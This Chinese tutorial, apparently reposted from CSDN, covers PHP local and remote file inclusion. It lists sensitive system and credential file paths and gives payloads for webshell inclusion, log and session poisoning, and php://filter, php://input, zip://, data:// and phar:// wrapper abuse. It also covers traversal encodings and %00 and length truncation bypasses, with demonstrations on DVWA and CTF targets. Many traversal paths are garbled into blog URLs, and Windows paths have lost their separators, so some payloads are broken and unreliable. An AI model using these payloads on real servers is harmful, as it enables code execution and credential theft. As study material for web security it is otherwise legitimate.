2.漏洞成因分析
我们先直接来看一个简单的例子,网页代码如下:
在创建一个phpinfo.php页面,代码如下:
将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:
将phpinfo.php文件后缀改为jpg格式,也可以解析:
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
在上一期的文件上传漏洞的总结中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。
现在我们将phpinfo.jpg的内容改成一段文字:hello world!
再次进行访问,可以读出文本内容
对于php文件进行读取 运行 phpinfo能够出来的 但是在下边就进行了运行 但是失败了
对于其他文件就是进行读取 没有运行
利用这个特性,我们可以读取一下包含敏感信息的文件。
能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
测试网页包含如下代码:
网站利用文件包含功能读取一些php文件,例如phpinfo:
(3)一些常见的敏感目录信息路径:
Windows系统:
C:Windowssystem.ini
C:windowssystem32driversetchosts
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windows epairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
E:phpstudy_proExtensionsMySQL5.5.29my.ini
C:Program Filesmysqldatamysql톧MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:
找到上传点进行上传:
文件保存的完整路径为:
默认请求的是index.php文件
该页面用于读取C:phpStudyWWWvulnerabilitiesfi路径中的文件,代码如下:
现在我们利用该页面去执行我们上传的图片马
注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:
当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:
如果我们访问一个不存在的资源,也一样会进行记录,例如访问
网页会显示403
我们再次进行访问,并使用burp抓包,发现被编码:
此时再查看access日志,正确写入php代码:
再通过本地文件包含漏洞访问,即可执行
我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
- php的session文件的保存路径可以在phpinfo的session.save_path看到。
- session常见存储路径:
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
文件包含 - Bugku CTF平台
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:windows emp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
首先我们来看一段代码
访问本地site目录下的phpinfo.php文件:
该页面并没有对$path做任何过滤,因此存在文件包含漏洞。
我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。
但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。
还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
如果test.php是恶意的webshell文件,那么利用该漏洞就可以获取到服务器权限。
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
默认是不写的 访问本地文件只需要 写文件的路径
2.1.1 利用条件
只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求。
?page=php://filter/read=convert.base64-encode/resource=file1.php
2.1.2 用法:
2、使用php://协议进行文件包含file1.php,可以看到,已经返回了包含文件的base64加密源码:
这个字符串看起来像是一个URL参数,其中包含了一段特殊构造的字符串,可能用于试图利用文件包含漏洞。
让我解释一下这个字符串:
- ?page=: 这部分表示一个URL参数,通常用于向服务器传递参数。
- php://filter/read=convert.base64-encode/resource=: 这是一个尝试使用PHP的过滤器(filter)来进行文件读取和Base64编码的操作。具体解释如下:
-
- php://filter/ 是一个PHP封装协议,允许对输入和输出流进行过滤。
- read=convert.base64-encode/resource= 表示使用过滤器进行读取,并将读取的内容进行Base64编码。
- file1.php: 这是尝试读取的文件名,攻击者试图读取名为 file1.php 的文件。
整个字符串的目的可能是尝试通过文件包含漏洞读取 file1.php 文件的内容,并以Base64编码的形式返回给攻击者。这种技术有时被用于绕过一些限制,尤其是在试图读取和执行远程文件的时候。
3、复制加密的内容进行解密:
4、通过目录穿越的方法读取index.php文件:
?page=php://filter/read=convert.base64-encode/resource=https://blog.csdn.net/m0_/index.php
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:
allow_url_fopen :off/on
allow_url_include:off/on
2.2.1 利用条件:
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行;需要开启allow_url_include=on,对allow_url_fopen不做要求。
2.2.2 用法:
1、在文件包含页面,通过burpsuite抓包:
3、通过php代码执行系统命令:
4、写入一句话木马文件:
5、页面出现乱码解决:
例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:
他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:
输入
php://filter/convert.base64-encode/resource=文件路径
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:
- allow_url_fopen :off/on
- allow_url_include:on
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
2.3.1 利用条件
allow_url_fopen :off/on
allow_url_include:off/on
2.3.2 用法:
?page=zip://[压缩文件路径]#[压缩文件内的子文件名]
1、将靶机网站主目录下的1.php,压缩成1.zip压缩包:
2、通过zip://伪协议对它进行文件包含:
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:
2.4.1 利用条件:
allow_url_fopen :on
allow_url_include:on
2.4.2 用法:
POC为:
注:经base64编码后的加号和等号要手动的url编码,以免浏览器识别不了。
对执行内容进行base64加密:
可以看到系统命令已经执行成功:
伪协议的利用方法还有很多,这里就不一一举例了。
伪协议的用法小结
- 任意文件下载:
-
- 概念: 指攻击者能够在目标系统上下载任意文件,包括敏感文件,而无需认证。
- 漏洞原理: 常见于未正确验证用户输入的情况下,攻击者通过构造恶意请求,使系统返回文件内容,从而实现文件下载。
- 风险: 可能导致敏感信息泄露,例如配置文件、数据库备份等。
- 文件包含:
-
- 概念: 涉及到在程序中包含外部文件的操作,如果没有适当的验证,可能导致恶意文件的包含。
- 漏洞原理: 常见于未正确验证用户提供的文件路径或参数的情况下,攻击者通过构造恶意请求,使程序包含他们控制的文件,从而执行恶意代码。
- 风险: 可能导致远程代码执行,系统被入侵,敏感信息泄露等。
虽然两者都涉及到操作文件系统,但任意文件下载更侧重于读取文件内容,而文件包含更侧重于程序在执行时包含外部文件。为防止这些漏洞,应该始终对用户输入进行适当的验证和过滤,确保只能访问预期的文件,并避免使用用户提供的输入构造文件路径。同时,采用最小权限原则和定期审查系统安全性。
六.文件包含截断攻击
在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成0 截断会失败。
1.代码分析
2.渗透过程
指定前缀绕过
一、目录遍历
使用 https://blog.csdn.net/m0_/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=https://blog.csdn.net/m0_/phpinfo/phpinfo.php 测试代码如下:
<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file;
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=https://blog.csdn.net/m0_/log/flag.txt
则服务器端实际拼接出来的路径为:/var/www/html/https://blog.csdn.net/m0_63436163/log/test.txt,即 /var/log/flag.txt,从而包含成功。
二、编码绕过
服务器端常常会对于https://blog.csdn.net/m0_/article/等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
https://blog.csdn.net/m0_/article/
%2e%2e%2f
..%2f
%2e%2e/
..
%2e%2e%5c
..%5c
%2e%2e
2.二次编码
https://blog.csdn.net/m0_/article/
%252e%252e%252f
..
%252e%252e%255c
3.容器/服务器的编码方式
https://blog.csdn.net/m0_/article/
..%c0%a
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”삮”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal
..
..%c1%9c
指定后缀绕过
后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt";
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
一、利用URL
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
[访问参数] ?file=http://localhost:8081/phpinfo.php?
[拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
Example:(设在根目录下有flag2.txt文件) fragment(#)
[访问参数] ?file=http://localhost:8081/phpinfo.php%23
[拼接后] ?file=http://localhost:8081/phpinfo.php#.txt
Example:(设在根目录下有flag2.txt文件)
二、利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
[访问参数] ?file=zip://D:zip.jpg%23phpinfo
[拼接后] ?file=zip://D:zip.jpg#phpinfo.txt
phar://
[访问参数] ?file=phar://zip.zip/phpinfo
[拼接后] ?file=phar://zip.zip/phpinfo.txt
Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>)) 所以分别构造payload为:
?file=zip://D:PHPWAMP_IN3wwwrootphp.zip%23phpinfo ?file=phar://https://blog.csdn.net/m0_/php.zip/phpinfo
三、长度截断
利用条件:
php版本 < php 5.2.8
原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
只需要不断的重复 https://blog.csdn.net/m0_/article/details/(Windows系统下也可以直接用 . 截断)
?file=https://blog.csdn.net/m0_/article/details/https://blog.csdn.net/m0_/article/details/https://blog.csdn.net/m0_/article/details/。。。省略。。。https://blog.csdn.net/m0_/article/details/https://blog.csdn.net/m0_/article/details/shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
四、%00截断
利用条件:
magic_quotes_gpc = Off
php版本 < php 5.3.4
利用方法:
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
注:现在用到%00阶段的情况已经不多了
这里有好多宝藏可以去看看

版权声明:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若内容造成侵权、违法违规、事实不符,请将相关资料发送至xkadmin@xkablog.com进行投诉反馈,一经查实,立即处理!
转载请注明出处,原文链接:https://www.xkablog.com/bcyy/23016.html